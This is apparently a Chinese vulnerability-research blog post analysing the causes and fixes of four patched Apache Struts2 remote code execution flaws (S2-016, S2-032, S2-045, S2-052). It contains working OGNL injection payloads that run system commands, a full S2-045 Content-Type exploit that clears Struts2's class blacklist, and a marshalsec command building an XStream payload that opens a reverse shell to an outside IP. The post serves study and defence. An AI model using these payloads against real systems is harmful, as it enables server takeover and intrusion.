Struts2历史高危漏洞分析系列:(二)

尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。

目录

前言

尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。

PS: 本系列分析的漏洞均为已公开的漏洞,Struts2官方都早已发布修复版本。建议直接使用最新版本。

S2-016

官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-016

影响版本:Struts 2.0.0 - Struts 2.3.15

漏洞复现与分析

在Struts2中,支持在action的请求参数中添加redirect:redirectAction:前缀,在后面加上指定表达式,便可实现路径导航和重定向。但由于没有对前缀后面的表达式进行安全过滤,从而可导致注入任意OGNL表达式。

下面使用struts2 2.3.15版本自带的示例程序struts-blank进行调试分析。
redirect:为例,最简单的PoCredirect:%{11+13},复现如下:

可以看到表达式%{11+13}被执行了,结果回显在了响应头Location中。

对这些参数前缀的处理,是在org.apache.struts2.dispatcher.mapper.DefaultActionMapper类中,如下图,每个前缀都有与之对应的处理动作。

下面以redirect:前缀为例子。

先说一下,这个漏洞的触发流程其实是在struts2运行主线的第一阶段,并没有到达第二阶段。什么意思呢,看下图:

如上图,这是一个正常的action请求的处理时序图。

首先第一阶段是对HTTP请求的预处理阶段。这个阶段主要由Struts2完成,其主要职责是与Web容器打交道,将HTTP请求处理成为普通的Java对象。<br>
而第二阶段,则是XWork事件处理阶段。程序的执行控制权在此时交给了XWork框架,其主要职责是对请求进行核心逻辑处理。

为什么说这个漏洞的触发流程只是在struts2运行主线的第一阶段呢?来实际调试一下便知。

struts2接收到请求后,先到达StrutsPrepareAndExecuteFilter#doFilter()方法中,在该方法中,会根据request对象来获取ActionMapping对象,如下图:

在获取ActionMapping对象的过程中,会调用DefaultActionMapper#handleSpecialParameters()方法去处理特殊的参数
,比如包含了redirect:redirectAction:等前缀的参数,具体的处理动作在对应的ParameterAction#execute()方法里完成,如下图:

可以看到,在redirect:前缀对应的处理动作中,往ActionMapping对象中放置了一个Result对象:ServletRedirectResult对象,并且将前缀后面的OGNL表达式字符串赋值给该Result对象的location属性中。

获取到ActionMapping属性后,随着运行主线的第一阶段,到达Dispatcher#serviceAction()方法。在该方法中,会判断在ActionMapping对象的result属性是否为null,如果为null,则进入运行主线的第二阶段。然而,前面已经在处理redirect:参数前缀时,将一个ServletRedirectResult对象赋值给了ActionMappingresult属性,所以这里不会进入第二阶段,而是直接开始调度Result对象。

继续跟进,看到了熟悉的TextParseUtil.translateVariables()方法。后面的方法执行流程就跟S2-015:vuln-1一样了,这里不再展开。

可回显PoC

xxx.action?redirect:%{#context['xwork.MethodAccessor.denyMethodExecution']=false,
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),
#wr=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
#wr.println(#a),#wr.flush(),#wr.close()}

漏洞修复

通过版本代码比对,在Struts2 2.3.15.1版本中,DefaultActionMapper类里对redirect:redirectAction:前缀的处理代码都删除了。

S2-032

官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-032

影响版本:Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

漏洞复现与分析

从漏洞公告可获悉,当Struts2的"动态方法调用"(Dynamic Method Invocation)特性被启用时,可通构造以method:为前缀的OGNL表达式,造成远程代码执行。

下面使用struts2 2.3.28版本自带的示例程序struts-blank进行调试分析。

在部署应用前,需要在struts.xml文件中启用Dynamic Method Invocation特性,同时需要将devMode模式关闭。至于为什么要关闭devMode模式,在下面的调试过程中就能找到答案。

S2-016redirect:redirectAction:前缀一样,对参数前缀method:的处理也是在类org.apache.struts2.dispatcher.mapper.DefaultActionMapper,如下图:

按照前面在S2-016漏洞分析中提到的Struts2运行主线的流程,跟进到类DefaultActionMapper中对参数前缀为method:时的处理,如下图,只有当Dynamic Method Invocation特性启用时才会将method:后面带的字符串赋值到ActionMappingmethod属性。

继续跟进代码到Dispatcher#serviceAction()方法,发现在创建ActionProxy对象的过程中,会对传入的method字符串(即method:前缀后面跟着的字符串)进行HTML字符转义和JS字符转义(这个常用来防止XSS攻击)。因此这次我们构造PoC的时候就不能直接把之前漏洞的PoC拿来用了,得修改一下,比如不能出现单双引号、尖括号等。

继续跟进代码,到了调度拦截器执行阶段,当拦截器AnnotationValidationInterceptor执行过程中,会搜索当前action对象中是否有method:前缀后指定的方法。因为这里我们就是要插入恶意OGNL表达式的,所以结果肯定是搜索不到的。当搜索不到时,当devMode开启时,就会抛出异常,程序因此中断从而无法执行我们注入的OGNL表达式,所以前面提到为什么前提条件还包括不开启devMode模式。如下图:

最后,在调用action对象的时候,便会对method:前缀后面的OGNL表达式进行计算,如下图:

这里要注意OnglUtil.getValue()的第一个参数,methodName后面拼接了一个圆括号(),故在构造PoC时,要在注入的OGNL表达式中,最后一个得是方法调用,且去掉圆括号。

可回显PoC

从上面的调试分析可知,会对method:前缀后面的字符串进行HTML字符和JS字符转义,所以这里不能使用#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')这种方式来访问_memberAccessallowStaticMethodAccess属性,因为单引号会被转义。执行命令Runtime#exec('id')同理。

这里使用@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS#_memberAccess重置为默认对象DefaultMemberAccessDefaultMemberAccess不会禁止执行Java静态方法。

而命令参数则利用上下文对象contextparameters属性去读取。

综上,可回显PoC如下:

/xxxx.action?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#res=@org.apache.struts2.ServletActionContext@getResponse(),
#w=#res.getWriter(),
#w.println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream())),
#w.flush(),
#w.close&cmd=uname -a

漏洞修复

通过版本比对,可以看到在Struts2 2.3.28.1版本中,对method:前缀后面的字符串进行了字符白名单校验,将不在白名单里的字符给去掉。新版本的关键修复代码如下图:

S2-045

官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-045

影响版本:Struts 2.3.5-Struts 2.3.31, Struts 2.5-Struts 2.5.10

漏洞复现与分析

从漏洞公告可获悉,如果Content-Type请求头的值表示一个上传类型,但值是无效的,且是一个精心构造的OGNL表达式时,Jakarta Multipart parser这个解析器在对Content-Type处理的过程中,会触发异常,在处理异常信息的时候会计算OGNL表达式,从而造成远程代码执行。

这里使用Struts2 2.3.31版本自带的示例应用struts-blank进行调试分析。

因为得是上传类型,故Content-Type的值包含字符串multipart/form-data。另外,在Jakarta Multipart parser解析器对应的类JakartaMultiPartRequest的解析请求的方法parse()方法中下断点。

命中断点后,跟进它的处理,可以看到,当content-type请求头的值不是以multipart/开头时,则抛出异常InvalidContentTypeException,同时将content-type的值拼接到异常消息字符串中。

抛出异常后,则在JakartaMultiPartRequest#buildErrorMessage()对异常消息进行处理。

继续跟进,看到了熟悉的TextParseUtil.translateVariables(),往后就是从异常消息字符串中根据%符号提取OGNL表达式并计算求值,这里不再细说,因为前面分析其他漏洞的文章里已经详细分析过了。

下面重点说一下PoC的构造。

可回显PoC

注:关于OGNL表达式的形式,可参考官方文档:<br>
https://commons.apache.org/proper/commons-ognl/language-guide.html

因为Struts2从2.3.28.1版本开始,在OgnlUtil类中,对(e1,e2,e3,e4,...)这种形式的表达式进行了限制,不允许执行。(e1,e2,e3,e4,...)这种形式的表达式会被解析为ASTSequence类型,而ASTSequence#isSequence()永远返回true,从而向上抛出异常,不会继续对表达式进行求值。关键代码如下:

所以这里换一种表达式形式:(e1).(e2).(e3).(e4)....。这种形式的表达式会被解析为ASTChain类型,没有被限制执行。

所以,构造简单PoC如下:

%{
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#a=1).
(#b=2*#a).
(#c=2*#b).
(#ret=4*#c).
(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',#ret)).
(multipart/form-data)
}

要构造命令执行的PoC,首先要将上下文对象context_memberAccess属性重新赋值为DEFAULT_MEMBER_ACCESS。但Struts2 2.3.31的代码里,上下文对象context内部的Map集合已经没有_memberAccess这个键,当然也就无法向之前一样通过#context['_memberAccess']#_memberAccess去访问context_memeberAccess属性。(详见OgnlContextstatic代码块和get(Object key)方法)

但可以通过OgnlContextsetMemberAccess()方法去设置它。然而在此之前,还得做些工作。否则OgnlContext#setMemberAccess()无法执行。为什么呢?这里直接拿网上的漏洞利用工具/脚本里的S2-045漏洞exploit来解释,如下:

%{
(#t='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
        (
        (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
        (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
        (#ognlUtil.getExcludedPackageNames().clear()).
        (#ognlUtil.getExcludedClasses().clear()).
        (#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}

  • 因为版本较旧的Struts2,上下文对象context内部的Map集合里还是存在_memberAccess属性的,同时也可以通过get方法访问,而版本较新的则没有。所以这里使用条件形式的表达式(e1)?(e2):(e3)来实现版本的兼容。
  • 这里在执行#context.setMemberAccess()前,为什么要先调用#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()呢?原因是在较新的Struts2版本中,默认情况下,会通过类名和包名黑名单的形式禁止OGNL表达式中某些类的方法调用。Struts2 2.3.31里的类名、包名的黑名单如下图所示。

对黑名单的读取,是在OgnlValueStack#setOgnlUtil()方法中,如下图:

可以看到,连OgnlContext都在黑名单中,所以必须得先将黑名单集合excludedClassesexcludedPackageNames给清空,同时又不能使用黑名单里的类去调用方法。故这个exploit给了一个思路:

先通过#container=#context['com.opensymphony.xwork2.ActionContext.container']来获取ContainerImpl对象,通过ContainerImpl#getInstance()方法来获取OgnlUtil对象,而OgnlUtil并不在黑名单中,所以再通过#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()来清空存储黑名单的集合。清除后,上下文对象context就可以调用setMemberAccess()方法去重置_memberAccess属性了。

漏洞修复

在Struts2 2.3.32中,JakartaMultiPartRequest#buildErrorMessage()把异常信息传入了LocalizedTextUtil#findText()方法的args参数的位置,不再传到defaultMessage参数的位置。

S2-052

官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-052

影响版本:Struts 2.1.6 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

漏洞复现与分析

下面使用Struts2 2.3.33版本自带的示例应用struts2-rest-showcase进行调试分析。

从漏洞公告可获悉,该漏洞与OGNL表达式无关,而是由于REST plugin插件在处理xml类型的请求数据时,没有进行任何类型的过滤,故可构造恶意xml数据使XStream进行不安全的反序列化,从而达到RCE。

struts2-rest-plugin是使Struts2实现REST API的插件。它通过Content-TypeURI后缀名来识别不同的请求数据类型,然后根据请求数据类型用不同的实现类去处理。关键代码如下:

跟进XStreamHandler#toObject()方法,发现调用了XStream#fromXML()方法对请求数据进行反序列化。

struts-rest-plugin-2.3.33依赖的XStream的版本是1.4.8。故可以使用marshalsec生成ImageIO利用链的payload进行RCE的漏洞利用。

可回显PoC

对于xstream的反序列化命令执行回显,本人暂时不知道如何实现。<br>
下面使用marshalsec工具生成反弹shell的exploit:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO "/bin/bash" "-c" "bash -i >& /dev/tcp/192.168.166.233/443 0>&1"

漏洞修复

struts2-rest-plugin-2.3.34版本中,将XStream升级到了1.4.10版本,且按照XStream官方的推荐(hxxps://x-stream.github.io/security.html),使用了白名单的方式指定可以反序列化的类型。

  • 发表于 2021-08-31 17:18:59
  • 阅读 ( 6291 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
m01e
m01e

4 篇文章

站长统计